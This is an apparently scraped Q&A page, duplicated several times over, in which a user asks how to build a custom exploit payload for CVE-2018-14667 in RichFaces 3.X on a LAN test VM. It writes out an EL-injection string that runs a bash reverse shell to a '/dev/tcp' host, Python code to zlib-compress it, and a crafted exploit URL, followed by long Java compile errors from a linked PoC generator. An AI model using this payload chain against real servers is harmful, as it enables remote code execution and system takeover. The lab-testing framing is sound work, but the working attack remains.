CVE-2018-14667; generating a valid payload for RichFaces 3.X












3















I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.



Here's the information I found so far for generating my own payload;



this needs to be compressed via zlib:



#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}


How to compress with zlib:



import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))


Then after, encode the compressed data with base64url on:



https://simplycalc.com/base64url-encode.php



Then test it out like this:



http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1



Unfortunately, every time I get a HTTP status code 500 saying:



javax.faces.FacesException: Error decode resource data



I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.



Any help would be very appreciated.



Thanks



--- UPDATES ---



You can find a PoC generator written in Java here:



https://pastebin.com/raw/YRKdatWv



1) Name it Main.java
2) javac Main.java



Unfortunately, I didn't had luck on my side;



Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors









share|improve this question

























  • Is this in FireFox? Can you try Chrome or IE?

    – JGlass
    Nov 21 '18 at 15:26











  • Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

    – Gerald
    Nov 21 '18 at 16:47











  • Where is the java documentation for using zlib if you have it, I'm not finding it

    – JGlass
    Nov 21 '18 at 17:35
















3















I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.



Here's the information I found so far for generating my own payload;



this needs to be compressed via zlib:



#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}


How to compress with zlib:



import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))


Then after, encode the compressed data with base64url on:



https://simplycalc.com/base64url-encode.php



Then test it out like this:



http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1



Unfortunately, every time I get a HTTP status code 500 saying:



javax.faces.FacesException: Error decode resource data



I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.



Any help would be very appreciated.



Thanks



--- UPDATES ---



You can find a PoC generator written in Java here:



https://pastebin.com/raw/YRKdatWv



1) Name it Main.java
2) javac Main.java



Unfortunately, I didn't had luck on my side;



Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors









share|improve this question

























  • Is this in FireFox? Can you try Chrome or IE?

    – JGlass
    Nov 21 '18 at 15:26











  • Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload

    – Gerald
    Nov 21 '18 at 16:47











  • Where is the java documentation for using zlib if you have it, I'm not finding it

    – JGlass
    Nov 21 '18 at 17:35














3












3








3








I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.



Here's the information I found so far for generating my own payload;



this needs to be compressed via zlib:



#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}


How to compress with zlib:



import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))


Then after, encode the compressed data with base64url on:



https://simplycalc.com/base64url-encode.php



Then test it out like this:



http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1



Unfortunately, every time I get a HTTP status code 500 saying:



javax.faces.FacesException: Error decode resource data



I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.



Any help would be very appreciated.



Thanks



--- UPDATES ---



You can find a PoC generator written in Java here:



https://pastebin.com/raw/YRKdatWv



1) Name it Main.java
2) javac Main.java



Unfortunately, I didn't had luck on my side;



Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:48: error: cannot find symbol
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
^
symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors









share|improve this question
















I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload mentioned in https://seclists.org/fulldisclosure/2018/Nov/47 and it works fine. Now, I am trying to figure out how I could generate my own payload in order to obtain a reverse shell.



Here's the information I found so far for generating my own payload;



this needs to be compressed via zlib:



#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}


How to compress with zlib:



import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))


Then after, encode the compressed data with base64url on:



https://simplycalc.com/base64url-encode.php



Then test it out like this:



http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1



Unfortunately, every time I get a HTTP status code 500 saying:



javax.faces.FacesException: Error decode resource data



I have been trying to figure this out all night but without success so I decided to ask here maybe I could find a solution to my current issue.



Any help would be very appreciated.



Thanks



--- UPDATES ---



You can find a PoC generator written in Java here:



https://pastebin.com/raw/YRKdatWv



1) Name it Main.java
2) javac Main.java



Unfortunately, I didn't had luck on my side;



Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
^
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:43: error: cannot find symbol
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class{OutputStream.class, Object.class});
^
symbol: class MethodExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:44: error: cannot find symbol
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
^
symbol: class MethodExpression
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:45: error: cannot find symbol
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
^
symbol: class StateMethodExpressionWrapper
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:46: error: cannot find symbol
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
^
symbol: class Location
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:47: error: cannot find symbol
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:48: error: cannot find symbol
